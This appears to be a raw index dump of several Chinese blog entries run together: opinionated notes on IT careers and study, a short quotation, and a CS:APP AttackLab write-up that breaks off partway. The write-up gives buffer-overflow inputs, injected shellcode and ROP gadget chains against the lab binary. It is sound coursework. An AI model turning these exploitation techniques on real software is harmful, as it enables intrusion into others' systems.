上了研就一定会走另一条道路吗?是否考研，成为什么样的人，都取决于自身的情况，而不应当考虑一个集体，我们都只是一个个体，我们不应当成为这样的集体中的一份子，不会因为选择什么，就会成为什么，我们应当基于个体的逻辑分析，我们有没有达到自己想要的岗位的学历的下限，从而去上研，应当学会抉择，而不是盲目的从大流。\n大学社团\n有没有参加的必要，参加了，应当以怎样的眼光看待？交流交往。谈个恋爱？？\n辩论社，音乐，美国化学学会。用处不是很大，主要取决于大学。毫无意义的学分增值，那便没有什么意义。太耗费时间，严重影响学业的话，显然。什么都做，最后可能啥也不是。。。具有很强的竞争气氛，缺乏包容心。。。\n根据自身的情况合理判断吧。\n当学校的培养方案与自己的目标冲突时\n不要漫无目的的卷，那就自己学，没有人歧视你是不是这个专业，没人管你，专业和职业是两个东西，没人在乎你以前是什么专业，只会管你有没有良好的工作能力。\n只有我们自己在乎自己过去不堪入目的往事，没人会记得。 有很多转职业专业者。\n外企 英语 面试题 刷题 # 要看具体的职位，外企待遇也不一定好，根据你想不想去。\n英语，具体情况具体分析，最低雅思6.0，作为最基础的英语水平，尽力去达到。\n忙冲算法？成为算法工程师，技术没有上限，天天刷题，不会进大厂(储蓄不能让人富裕)，最为愚蠢的行为，刷题只能证明你会刷题，不代表你会干活！\n(解释一下什么是操作系统？什么是多道任务？什么是资源管理？你是如何理解设备管理的？解释什么是进程，什么是线程，二者有何区别？进程和线程的实际应用？如何理解存储管理，内存管理，文件系统？解释什么是进程同步？什么是通信？如何理解信号量，消息队列，共享列成？什么叫调度策略？FCFS？STN？什么叫时间片轮转？PR？)？？？？？？？？？？？？？？？？？？？？显然，刷题无法解决这类问题？\n（进程是计算机当中程序的一次执行过程，拥有独立的内存空间，系统资源，线程是进程当中的一个执行单元，共享进程的系统空间和内存资源。应用：多任务处理，并发进程。）\n（内存管理:确保系统有足够的内存可运行程序，避免内存浪费。）\n（文件系统：存储数据的逻辑结构，负责文件的管理存储，负责文件的读写和修改。）\n(进程通信：进程之间传递信息的过程。同步。解决并发问题重要手段。)\n回答问题要有所准备，自己不理解的不要说。不要相信刷题就能进大厂，理解基础知识，有诸多开放性的话题，企业文化。\nAI专业与ACM # 根据自己的情况参加 ACM大赛组 校园招聘是一个加分项，但是并不重要，先要满足必要的要求。（找工作的角度）\n提升阅历的方式，是否愿意牺牲时间去参加这样的学习，自己的学习能力怎么样？鱼和熊掌不可兼得。。。时间有限，不可能什么事情的做好。重在参与是胡说八道，关键是自己要不要参与。空余的时间拿来干什么，自己能不能赢，如果没有赢的机会，那为什么要浪费时间参加。确定目标不要疏忽学业，保研？提升机会，选概率大的东西。区分清楚是锦上添花还是本末倒置。\n蓝桥杯：（报名费400元）有国家工信部撑腰，投了很多钱，背景很硬，参加的人越多的比赛越水，什么人都有。。。视自身情况而定，赚钱还是在搞教育。不要毕业了什么都不会，只会比赛，找实习没人看你拿了什么杯，我们中国人搞了这么多年比赛，获得了什么，只是许多证书，没有什么瞩目的成就，好的公司。搞教育的人都消失了，大家都去捞钱了，你获奖了，老师是分红利的，（一般的大学校，是分赃分利的地方），大部分大学老师，整天浑浑噩噩，等着捞国家红利，让学生们相信什么什么有用，优秀的老师不会整天让你干这干那，你应当干你自己喜欢的事情，追求自己的理想，人应当有认知真理，发现真相的能力，如果你真的喜欢ACM，那你就去干（前提是基础课学的不错哦），不要鸡汤喝得太多，鸡血打的太猛，\nChatGPT主题 # 人类总是害怕那些他们不能理解的事物。——辛德拉\n语言训练模型。小说科幻电影，都以艺术形式呈现，其目的是为了表达人的思想，并非事实。基于事实依据来分析，具体的逻辑。历史和神话的差距，科幻不等于事实。没有什么东西能够轻易的取代一个人，这种工具用于提升人的效率。人工智能只能让人更加有效率的完成任务，没有办法取代人的核心。咖啡师，采矿业等等普通的职业面临的危险，取代，取代的是人的行为，并非人本身。创作很大程度上还是要依赖人类，创作不是模仿，而是去创造新的东西，没有自我意识，训练模型的观点都来自于人类，并无创作的意识。\n计算机细分领域以及生态整合 # 软件开发，设计，编程，维护，测试，架构。 网络，建设维护，操作系统 数据库，设计开发维护三大类 人工智能，机器学习（探索阶段）-数据库-软件工程-语言训练模型（GPT） 嵌入式，嵌入系统，汽车，家电 网络安全，免受未经授权的访问 虚拟现实VR 信息安全 软件测试，售后 数据分析，大量数据提取有用的信息，支持决策，未来趋势-数据库 云计算虚拟化，允许将计算和存储资源从物理基础设施中抽象出来 学科交叉发展，很凌乱的，劳动分工，动态的社会，都在发挥各自的价值\n出国，自己去判断\n认知 决心 对自己的发展好不好？上述二者要达到平衡，金钱也只是其次的。。。\n程序员外包是什么以及为什么大多数人不推荐外包 # 软件开发交给外部的公司，接活干的公司，外包公司，这样的公司很累，员工很难受。节省成本，具有灵活性。-沟通协调的问题-打架，控制与质量问题，技术，进度，创意，不受控制。知识产权的丢失，有潜在的问题，也有合理之处。\n大学生要不要做兼职和搞外快\n家庭是否困难，根据条件来看，绝大部分人没有这样的需求，不要效仿别人赚钱，竞争力市场，根据需求，不能影响我们的主线任务的进展。\n职业的可转变性与避坑\n过了几年，岗位就没有了，失业了。\n小众的职位，假设一门技术X，也有可能是一门语言，存在一种可能，赌对了，有可能获得利润，有自己的前途，赌错了，即刻失业，Node.js近年来便引领了趋势。可能会带来致命的伤害，尽量去选通用的职位，大众的职位，有没有赌本？？？\n专用性程度 完全专用性 专用性程度：java golang 数据结构与算法 Linux 都有其专用性，其本身是具有多样性的。用于诸多的职位上。当有东西落寞的时候，你可以随时转型。\n完全：ios系统 VB（微软搞得）这样的技术要小心，只有一个针对点。\n！！微信小程序！！有可能生成了一种主流，但是要保持警惕。这样的赌注对你来说值不值得？\n一个要素的专用性越小，那么它从一种用途到另一种用途的可转变性就越大。JAVA并非针对某一种产品研发的语言。\n完全专用性在价值变动方面造成的影响要远远大于专用性程度造成的影响。\n学习记笔记的方法与心得 # IT要不要记笔记，怎么记笔记，有用，但看怎么记笔记。传统教育的问题，台上PPT，书本上学习的知识，笔记起到梳理的作用，笔记不是给自己看书法，争取起到有效的作用，尽量简洁，如果文字太多，尽量迅速筛选信息，纸质翻阅可能较为麻烦，自己看不懂，两个字，争取有效，可以尽量记到计算机上，打字比写字更快，不一定非要跟上时代的潮流，但是如果有效率更高的方法，那就去做。可以用Ipad，在PDF上标注，你要有需求用到它，而不是先去买这个东西。\n关于必修课，上课老师是不是按照这个教科书来的，搞清楚这一点，注意分配好自己的注意力。文综类的课程，关键点，经济学原理，这样的东西应当学会浓缩，听清楚这样一个点，听清楚要讲一个什么主题，什么观点，什么论点，关键证明手段。你记笔记的最好时间，厘清思路的最好时间，就是老师吹nb的时候。\nD define 关于这样的一个定义，是重点。这节课的点是什么，这节课讲述的结构是什么，建立起来逻辑，思维和记忆就会变得清晰，举了什么样的例子，也是十分重要的内容，我记笔记，是为了搞清楚结构和逻辑，而不是说，你一直抄我们书上有的内容与知识，这显然没有意义，我听了二三十分钟欧拉图，居然没有先建立欧拉图的具体概念，那你上课就是听天书。\n博客，博客是给别人看的，笔记是给自己看的，给自己梳理东西的，勾勾画画只有自己能看懂，不要浪费自己的时间，你看看之前的杰作，有许多人记笔记自己不好好看，那就没有任何的意义，你给别人看，就是要搞得谨慎一点，二者有着明显的区别。多多写对于自己的笔记和心得，自己应该在哪里更加注意，不要去记常识性的，一般性的东西，总之，我们说讲究一个，高效，实用，讲求逻辑。。。\n我们良好的一个状态，是说我们记的笔记越来越少，而学习的速度越来越快。\n引用自原博主动态：\n动态：新的开学季。 初高中：现在知道学历有下限了吧？ 大一：搞好生活，适应大学环境，搞懂大学的套路，不逃课、不早退、及时交作业就意味着平时分过了。学习、生活、社交、活动、比赛\u0026hellip;几头抓的，最后肯定很惨。大一刚开学搞明白大学生活，照顾好自己就足够了。 大二：一年过去了，大学生活和照顾自己都没问题了，已经摸清楚上课、活动、社交等各种逻辑，接下来就该考虑自己职业问题，是做什么？什么方向？什么领域？什么具体职位呢？尽可能无视各种社交活动，无视大学任何比赛，无视大学所有的战略培养计划，无视大学教师和学姐学长的建议，无视学习路线。把精力放在追逐具体职位的共性技术上，这一点我们在IT疑问点已经讲得十分清晰，愿能为你们节省数年时间，互联网信息繁杂，此方法可以避开各种坑。 大三：你应该已经处于追逐职业生涯的半路上了。专科的学生如果能升本科最好不过，本科的学生根据自己的职业需求来升级学历，最低下限学历是存在的，但不存在高学历的上限。如果扫厕所，可能需要初中学历，你已经满足，所以不要傻了吧唧的往前考，没有意义。除非是有意义的考，有些职位在行业里就要求博士，那你必须得考，除此之外白费功夫。 大四：实习，面试。面试才是最好的检验方法，除此之外，没有任何技术和方法能够检验你是否可以就业的水准。去吧，一定要去大城市，小城市是没有就业的：北上广深杭。五个都可以选。如果校招给力，建议走校招；如果你给力，直接去大厂官网应聘。 不论如何，对于技术的培养唯有持续不断地摸索与训练，而非单纯的计划与追踪。\n谈谈中国游戏开发 # 喜欢打游戏，没有经历过什么是游戏的开发。一个团队热爱开发游戏。R星 GTA5 荒野大镖客 RIOT games LOL 为创造游戏而生，体验开发游戏的艰辛，也体验开发游戏的成就。\n游戏的本质是软件，开发游戏不代表编程，C/S架构，不完全是，需要图形和渲染（游戏渲染引擎），\nUnity3D 美工 艺术视觉设计 数字媒体 在引擎中训练 编写成庞大的系统 服务器（后端）\n反作弊系统（安全开发工程师） 编剧 导演 设计师。。。牵扯了大量的职位\n独立开发者，光明记忆真的是一个人做的么？想要成功，一定要合作，认真去找。\n任何天才，都不能在孤独的环境中发展。\n打字训练 # 推荐网站：Typing club 网站 多加练习 Qwerty learner 多加练习，每天都练习，会有极恐怖的进步。。。\n谈谈数据结构使用代码实现 # 计算机中存储，组织数据的方式，用什么样的语言实现不重要，目前的教学方式就是用垃圾的代码去实现垃圾的数据结构，不理解数据结构的实现原理，而去看代码来理解。\n正确的数据结构可以提高算法的效率。Pop oop 都能实现，但方式明显不同，不要关注语言，语言来的快，去的也快，因为市场是多变的。了解底层。\n作业做不了，是因为语法不够熟练。（for嵌套，递归？这样的作业）\n计算机语言的共性，软件工程的一些术语 # 流程控制：循环，条件判断（控制结构），子函数（方法Java）\n我们所做的一些基本题，都是围绕着if for来进行的。重要的是一种感觉，用什么东西去处理，需要大量的练习，用什么语句，要几层的循环，要在纸上多写一写思路和结构，先想清楚，效率才会明显提升。。。。。。\n定时，效率 进行算法的练习\n结构化处理\n結構化的非區部控制流程\n有些程式語言會提供非區部的控制流程（non-local control flow），會允許流程跳出目前的程式碼，進入一段事先指定的程式碼。常用的結構化非區部控制流程可分為條件處理、异常处理及計算續體（Continuation）三種。\n异常处理：在编程语言领域，通常 例外（英語：）这一术语所描述的是一种資料结构，该資料结构可以存储异常（exceptional）相关訊息。例外处理的常见的一种机制是移交控制权。引发（raise）异常，也叫作抛出（throw）异常，通过该方式达到移交控制权的效果。例外抛出后，控制权会被移交至某处的接（catch），并执行处理。\n（比如C语言下标的越界）\n计算机续体：创建了一个全局的变量，未来在某个控制流中使用它，感觉是提前定义了一些东西。\n竞争 # 竞争的实质。做自己的第一名，产生特色，竞争的赢家只有第一名和第二名。你活在什么样的幸福里，父母给你摆平的路，给你营造的氛围，给你某某的规划，或者沉浸于学校好的骄傲感中，或者是什么实验班的就业计划\u0026hellip;\u0026hellip;\n务实与态度 # 年轻人要讲求务实，不能认为自己参加了一个什么比赛，获得过什么奖就能跨越一个阶层，你去面试外企，别人不会注意你比赛第几名，拿了什么奖，一点：你能不能帮公司解决这个问题，难道提升我们的教育水平，只能用比赛？？？这样的教育令人感到心寒。我们中国人喜欢比赛，宣传，形式主义，我们太在意表面现象，而不去追究深层次的问题，不追求深层次的东西，IT这个行业，我们是干不下去的，你想当什么样的人，你想干什么样的事，比狗p什么比赛更重要，不要认为只要你参加某某比赛，就能。。。我只要。。。就能。。。？？？此等幻想，同样应当干掉。能爬上去，一定是通过自己的努力，觉得学历不够，就去考。\n你选了一个自己不喜欢的专业，但是还能坚持学下去，并且当成乐趣，这就是tmd态度。你来学校是干嘛的？学习起来太费劲，高考好不容易完事儿了，为什么还要学习？觉得要学习的东西就像大海一样多，我怎么才能掌握这么多东西，我什么东西都要会，因此而迷茫。\n“做什么事情，不管是否是你想做的，既然你去做了，就把它做好，不管是不是你想象的样子，尝试去热爱它。”——态度\n你对真正想要做的事情有没有爱。\n“我心尽在此作。”\n面试 # No Job Is Perfect! 这里我认为还不重要，因为我们大多还是实习生（作为一个大学生的话），面试就是大量的实战并且积累经验，前提是你有足够扎实的底层知识。\n谈谈你的简历？\n目的：不是列举成就以及职责，想要一个重点突出的内容，这个职位为什么适合你？\n目的是阐述关联度，展示清晰的职业目标，你在哪里干了什么有特色的事情（20%缓存时间减少\u0026hellip;\u0026hellip;），是适合这个岗位的。\n明确过渡：离职的原因？（好好解释，没上班的时间怎么保持跟进技术的迭代）突出专业的声誉，要是有战略性的步骤。\n裁员：公司改变了策略。\n强调技能的不断提升，最好两三分钟结束。\n","date":"2025-03-21","externalUrl":null,"permalink":"/zh-cn/thinking/itsolving_problems/","section":"Thinking","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003e关于IT行业的看法（IT另解笔记）\u003c/strong\u003e \n    \u003cdiv id=\"%E5%85%B3%E4%BA%8Eit%E8%A1%8C%E4%B8%9A%E7%9A%84%E7%9C%8B%E6%B3%95it%E5%8F%A6%E8%A7%A3%E7%AC%94%E8%AE%B0\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E5%85%B3%E4%BA%8Eit%E8%A1%8C%E4%B8%9A%E7%9A%84%E7%9C%8B%E6%B3%95it%E5%8F%A6%E8%A7%A3%E7%AC%94%E8%AE%B0\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e1.学历在CS的行业不会成为任何优势（但是它重要），过硬的技术和能力才是，记清楚这一点，才不会盲目。请勿再将未来的希望寄托在你所在的学校身上了，你的一切，你的兴趣，都要自己费力去追寻\u0026hellip;\u0026hellip;\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2.Caution!本篇博文是强烈带有主观意见的意识流笔记，部分观点可能跟不上时代（2021年），并且不代表笔者的全部观点，但是希望能对于在校的尚对于目标不明确的学生带来一些帮助，视频来源（https://space.bilibili.com/19658621），顺带推荐一下他的C语言视频，如果你还没有学过，或者已经工作但是有进一步理解的需要，学习一下这个视频，会颠覆你对于POP编程的认知。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3.随着我个人的阅历和经验的增长，我会不断更新这个文章的内容，直到它能够替代我对于这个行业的全部看法而不是简单的视频笔记，我个人的看法就是纯主观的，一个人或者一个组织都不可能给出所谓的“纯粹理性客观”这样的观点，如果真的是这样，那么很多历史怎么会被改写？总之，希望能帮助到你一点的同时也能满足我的分享欲。\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e要明确的几个点 \n    \u003cdiv id=\"%E8%A6%81%E6%98%8E%E7%A1%AE%E7%9A%84%E5%87%A0%E4%B8%AA%E7%82%B9\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E8%A6%81%E6%98%8E%E7%A1%AE%E7%9A%84%E5%87%A0%E4%B8%AA%E7%82%B9\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e专业不是职业。\u003c/p\u003e","title":"IT:Solving_Problems","type":"thinking"},{"content":" What has always made the state a hell on earth has been precisely that man has tried to make it his heaven.\n\u0026ndash;F.Hoelderlin\n","date":"2025-03-21","externalUrl":null,"permalink":"/zh-cn/thinking/","section":"Thinking","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eWhat has always made the state a hell on earth has been precisely that man has tried to make it his heaven.\u003c/strong\u003e\u003c/p\u003e","title":"Thinking","type":"thinking"},{"content":" CSAPP:AttackLab # [!WARNING]\n通过本实验，你将学习到利用安全性漏洞攻击操作系统和网络服务器的方法。本实验的目的是通过模拟攻击来增进对安全漏洞的理解和防范意识，了解安全漏洞的本质。本实验内容应仅用于学习目的，严禁用于任何非法或不道德的活动。 本实验开始前，需要学习CS:APP3e第3.10.3节和第3.10.4节的知识。 https://arthals.ink/blog/attack-lab 你还是可以参考这位的博客。 scp -p -r 2236115135-ics@x86.ics.xjtu-ants.net:./attacklab-2236115135-1235135 ~/ //scp下载远程服务器上的文件，如果要本地开发这是好的办法 前三层是CI（代码注入攻击）攻击，后两层是ROP（返回导向编程）攻击。\n代码注入攻击（Code Injection Attacks） # phase1: # 0000000000401a90 \u0026lt;test\u0026gt;: 401a90:\t48 83 ec 08 sub $0x8,%rsp ; 分配了八个字节的空间 401a94:\tb8 00 00 00 00 mov $0x0,%eax 401a99:\te8 31 fe ff ff call 4018cf \u0026lt;getbuf\u0026gt; ; 调用了getbuf函数 401a9e:\t89 c2 mov %eax,%edx 401aa0:\tbe e8 31 40 00 mov $0x4031e8,%esi 401aa5:\tbf 01 00 00 00 mov $0x1,%edi 401aaa:\tb8 00 00 00 00 mov $0x0,%eax 401aaf:\te8 3c f2 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 401ab4:\t48 83 c4 08 add $0x8,%rsp 401ab8:\tc3 ret 00000000004018cf \u0026lt;getbuf\u0026gt;: 4018cf:\t48 83 ec 38 sub $0x38,%rsp ; 分配了56个字节的空间（在buf里） 4018d3:\t48 89 e7 mov %rsp,%rdi 4018d6:\te8 7e 02 00 00 call 401b59 \u0026lt;Gets\u0026gt; 4018db:\tb8 01 00 00 00 mov $0x1,%eax 4018e0:\t48 83 c4 38 add $0x38,%rsp 4018e4:\tc3 ret 00000000004018e5 \u0026lt;touch1\u0026gt;: 4018e5:\t48 83 ec 08 sub $0x8,%rsp 4018e9:\tc7 05 2d 2c 20 00 01 movl $0x1,0x202c2d(%rip) # 604520 \u0026lt;vlevel\u0026gt; 4018f0:\t00 00 00 4018f3:\tbf 22 31 40 00 mov $0x403122,%edi 4018f8:\te8 53 f4 ff ff call 400d50 \u0026lt;puts@plt\u0026gt; 4018fd:\tbf 01 00 00 00 mov $0x1,%edi 401902:\te8 92 03 00 00 call 401c99 \u0026lt;validate\u0026gt; 401907:\tbf 00 00 00 00 mov $0x0,%edi 40190c:\te8 bf f5 ff ff call 400ed0 \u0026lt;exit@plt\u0026gt; 我要把return的地址覆盖成上面的touch1函数的首地址以执行touch1函数。\n那么直接构造如下的输入字符串即可，记得使用hex2raw工具。\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 18 40 00 phase2: # 这里的操作就是：1.同理覆盖地址。2.你要传一个参数来执行你的代码。\n我要把覆盖的地址变成touch2,同时要传参数。\n0000000000401911 \u0026lt;touch2\u0026gt;: 401911:\t48 83 ec 08 sub $0x8,%rsp 401915:\t89 fa mov %edi,%edx 401917:\tc7 05 ff 2b 20 00 02 movl $0x2,0x202bff(%rip) # 604520 \u0026lt;vlevel\u0026gt; 40191e:\t00 00 00 401921:\t39 3d 01 2c 20 00 cmp %edi,0x202c01(%rip) # 604528 \u0026lt;cookie\u0026gt; 401927:\t75 20 jne 401949 \u0026lt;touch2+0x38\u0026gt; 401929:\tbe 48 31 40 00 mov $0x403148,%esi 40192e:\tbf 01 00 00 00 mov $0x1,%edi 401933:\tb8 00 00 00 00 mov $0x0,%eax 401938:\te8 b3 f3 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 40193d:\tbf 02 00 00 00 mov $0x2,%edi 401942:\te8 52 03 00 00 call 401c99 \u0026lt;validate\u0026gt; 401947:\teb 1e jmp 401967 \u0026lt;touch2+0x56\u0026gt; 401949:\tbe 70 31 40 00 mov $0x403170,%esi 40194e:\tbf 01 00 00 00 mov $0x1,%edi 401953:\tb8 00 00 00 00 mov $0x0,%eax 401958:\te8 93 f3 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 40195d:\tbf 02 00 00 00 mov $0x2,%edi 401962:\te8 f4 03 00 00 call 401d5b \u0026lt;fail\u0026gt; 401967:\tbf 00 00 00 00 mov $0x0,%edi 40196c:\te8 5f f5 ff ff call 400ed0 \u0026lt;exit@plt\u0026gt; 过程：覆盖调用函数的返回地址来执行我的代码（这相当于是在stack上执行我的代码，你想这要怎么做到？把ret要覆盖的地址设置成分配之后的rsp的值，那么rip便会从这里开始执行代码，我们再将代码放进缓冲区，好妙的攻击技巧），我的代码把%rdi设置成我的cookie值，并且通过ret指令返回到touch2函数执行。\n在getbuf分配完了栈空间之后，%rsp = 0x5563c8d8,这也就是缓冲区的起始地址。\n我们构造：\nmovq $0x14e6646f,%rdi ; 把第一个参数设置成cookie值 pushq $0x00401911 ; 这里push进去一个touch2的首地址值 ret ; ret实际上就是把刚刚push进去的值拿出来然后跳转执行 // gcc -c asm.s // objdump -d asm.o \u0026gt; asm.byte 我们拿到这段汇编指令的字节码 phase3: # 还是传参，但是会更麻烦，要调用更多的函数来解决这个问题,我要把我的cookie值作为一个string传给touch3。\n0000000000401971 \u0026lt;hexmatch\u0026gt;: 401971:\t41 54 push %r12 401973:\t55 push %rbp 401974:\t53 push %rbx 401975:\t48 83 c4 80 add $0xffffffffffffff80,%rsp 401979:\t89 fd mov %edi,%ebp 40197b:\t48 89 f3 mov %rsi,%rbx 40197e:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401985:\t00 00 401987:\t48 89 44 24 78 mov %rax,0x78(%rsp) 40198c:\t31 c0 xor %eax,%eax 40198e:\te8 bd f4 ff ff call 400e50 \u0026lt;random@plt\u0026gt; 401993:\t48 89 c1 mov %rax,%rcx 401996:\t48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 40199d:\t0a d7 a3 4019a0:\t48 f7 ea imul %rdx 4019a3:\t48 01 ca add %rcx,%rdx 4019a6:\t48 c1 fa 06 sar $0x6,%rdx 4019aa:\t48 89 c8 mov %rcx,%rax 4019ad:\t48 c1 f8 3f sar $0x3f,%rax 4019b1:\t48 29 c2 sub %rax,%rdx 4019b4:\t48 8d 04 92 lea (%rdx,%rdx,4),%rax 4019b8:\t48 8d 14 80 lea (%rax,%rax,4),%rdx 4019bc:\t48 8d 04 95 00 00 00 lea 0x0(,%rdx,4),%rax 4019c3:\t00 4019c4:\t48 29 c1 sub %rax,%rcx 4019c7:\t4c 8d 24 0c lea (%rsp,%rcx,1),%r12 4019cb:\t41 89 e8 mov %ebp,%r8d 4019ce:\tb9 3f 31 40 00 mov $0x40313f,%ecx 4019d3:\t48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4019da:\tbe 01 00 00 00 mov $0x1,%esi 4019df:\t4c 89 e7 mov %r12,%rdi 4019e2:\tb8 00 00 00 00 mov $0x0,%eax 4019e7:\te8 44 f4 ff ff call 400e30 \u0026lt;__sprintf_chk@plt\u0026gt; 4019ec:\tba 09 00 00 00 mov $0x9,%edx 4019f1:\t4c 89 e6 mov %r12,%rsi 4019f4:\t48 89 df mov %rbx,%rdi 4019f7:\te8 34 f3 ff ff call 400d30 \u0026lt;strncmp@plt\u0026gt; 4019fc:\t85 c0 test %eax,%eax 4019fe:\t0f 94 c0 sete %al 401a01:\t48 8b 5c 24 78 mov 0x78(%rsp),%rbx 401a06:\t64 48 33 1c 25 28 00 xor %fs:0x28,%rbx 401a0d:\t00 00 401a0f:\t74 05 je 401a16 \u0026lt;hexmatch+0xa5\u0026gt; 401a11:\te8 5a f3 ff ff call 400d70 \u0026lt;__stack_chk_fail@plt\u0026gt; 401a16:\t0f b6 c0 movzbl %al,%eax 401a19:\t48 83 ec 80 sub $0xffffffffffffff80,%rsp 401a1d:\t5b pop %rbx 401a1e:\t5d pop %rbp 401a1f:\t41 5c pop %r12 401a21:\tc3 ret 0000000000401a22 \u0026lt;touch3\u0026gt;: 401a22:\t53 push %rbx 401a23:\t48 89 fb mov %rdi,%rbx 401a26:\tc7 05 f0 2a 20 00 03 movl $0x3,0x202af0(%rip) # 604520 \u0026lt;vlevel\u0026gt; 401a2d:\t00 00 00 401a30:\t48 89 fe mov %rdi,%rsi 401a33:\t8b 3d ef 2a 20 00 mov 0x202aef(%rip),%edi # 604528 \u0026lt;cookie\u0026gt; 401a39:\te8 33 ff ff ff call 401971 \u0026lt;hexmatch\u0026gt; 401a3e:\t85 c0 test %eax,%eax 401a40:\t74 23 je 401a65 \u0026lt;touch3+0x43\u0026gt; 401a42:\t48 89 da mov %rbx,%rdx 401a45:\tbe 98 31 40 00 mov $0x403198,%esi 401a4a:\tbf 01 00 00 00 mov $0x1,%edi 401a4f:\tb8 00 00 00 00 mov $0x0,%eax 401a54:\te8 97 f2 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 401a59:\tbf 03 00 00 00 mov $0x3,%edi 401a5e:\te8 36 02 00 00 call 401c99 \u0026lt;validate\u0026gt; 401a63:\teb 21 jmp 401a86 \u0026lt;touch3+0x64\u0026gt; 401a65:\t48 89 da mov %rbx,%rdx 401a68:\tbe c0 31 40 00 mov $0x4031c0,%esi 401a6d:\tbf 01 00 00 00 mov $0x1,%edi 401a72:\tb8 00 00 00 00 mov $0x0,%eax 401a77:\te8 74 f2 ff ff call 400cf0 \u0026lt;__printf_chk@plt\u0026gt; 401a7c:\tbf 03 00 00 00 mov $0x3,%edi 401a81:\te8 d5 02 00 00 call 401d5b \u0026lt;fail\u0026gt; 401a86:\tbf 00 00 00 00 mov $0x0,%edi 401a8b:\te8 40 f4 ff ff call 400ed0 \u0026lt;exit@plt\u0026gt; 这是上面两个函数的C语言源代码：\n/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100;\t//这里随机分配可能导致的结果是把我们注入的字符串覆盖掉 sprintf(s, \u0026#34;%.8x\u0026#34;, val); return strncmp(sval, s, 9) == 0; } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf(\u0026#34;Touch3!: You called touch3(\\\u0026#34;%s\\\u0026#34;)\\n\u0026#34;, sval); validate(3); } else { printf(\u0026#34;Misfire: You called touch3(\\\u0026#34;%s\\\u0026#34;)\\n\u0026#34;, sval); fail(3); } exit(0); } gdb调试（先跟第二层一样跳转到touch3）：\n先查看进入hexmatch之前的缓冲区，我们注入的代码还在（未使用的部分用3f填充）\n在进入了之后（我们发现有一部分已经被覆盖，但是没有威胁到我们的代码，所以这只是概率事件）：\n看起来28这里一直都是0,我们尝试把字符数组放在这里：\nman ascii //查看关于ascii的帮助 cookie\u0026mdash;\u0026gt;ascii\n0x14e6646f\u0026mdash;\u0026gt;31 34 65 36 36 34 36 66\n担心出错，再检查一遍：\n在更改的时候还要注意：不仅留心小端顺序，还要保证原来调用的函数的参数的值没有发生变化。\nQ：不知道为什么，28的位置写不进去，后面改成18的位置再重新写进去（记得更改rdi指向的地址，假如你错了的话）。\n返回导向编程（Return-oriented Programming） # phase4: # 在前面的情况下，我们都没有启用栈随机化和栈执行保护（在栈上执行代码本来就是一件很可疑的事情），那么就来了这种攻击方式。\n它要解决的还是上面的phase2和phase3的问题。\n这种攻击方式的思路就是说，我们不在栈上执行我们的代码，在它自己本身就有的代码里面挑挑拣拣来达到我们的目的，并且每次执行的指令后面都有c3这样就能不停的继续调用下去。\n汇编指令的相关字节码： # 这是它给我们的gadget表： # 0000000000401ab9 \u0026lt;start_farm\u0026gt;: 401ab9:\tb8 01 00 00 00 mov $0x1,%eax 401abe:\tc3 ret 0000000000401abf \u0026lt;addval_480\u0026gt;: 401abf:\t8d 87 6e a5 58 c3 lea -0x3ca75a92(%rdi),%eax ;2.3 58 c3 popq %rax (401ac3) ---1.1把rax设置成cookie的值 401ac5:\tc3 ret ; 就是这里，愚蠢的我一直把这里数错了导致几个小时没看出来为什么有segmentaion fault 0000000000401ac6 \u0026lt;getval_188\u0026gt;: 401ac6:\tb8 c8 89 c7 90 mov $0x90c789c8,%eax 401acb:\tc3 ret 0000000000401acc \u0026lt;addval_392\u0026gt;: 401acc:\t8d 87 58 91 c3 9e lea -0x613c6ea8(%rdi),%eax 401ad2:\tc3 ret 0000000000401ad3 \u0026lt;addval_406\u0026gt;: 401ad3:\t8d 87 ec ad d8 c3 lea -0x3c275214(%rdi),%eax 401ad9:\tc3 ret 0000000000401ada \u0026lt;getval_227\u0026gt;: 401ada:\tb8 65 48 89 c7 mov $0xc7894865,%eax ; 2.2 2.8 48 89 c7 movq %rax,%rdi(401adc) ---1.2把rdi设置成cookie值 401adf:\tc3 ret 0000000000401ae0 \u0026lt;getval_437\u0026gt;: 401ae0:\tb8 49 89 c7 90 mov $0x90c78949,%eax 401ae5:\tc3 ret 0000000000401ae6 \u0026lt;setval_348\u0026gt;: 401ae6:\tc7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi) 401aec:\tc3 ret 0000000000401aed \u0026lt;setval_136\u0026gt;: 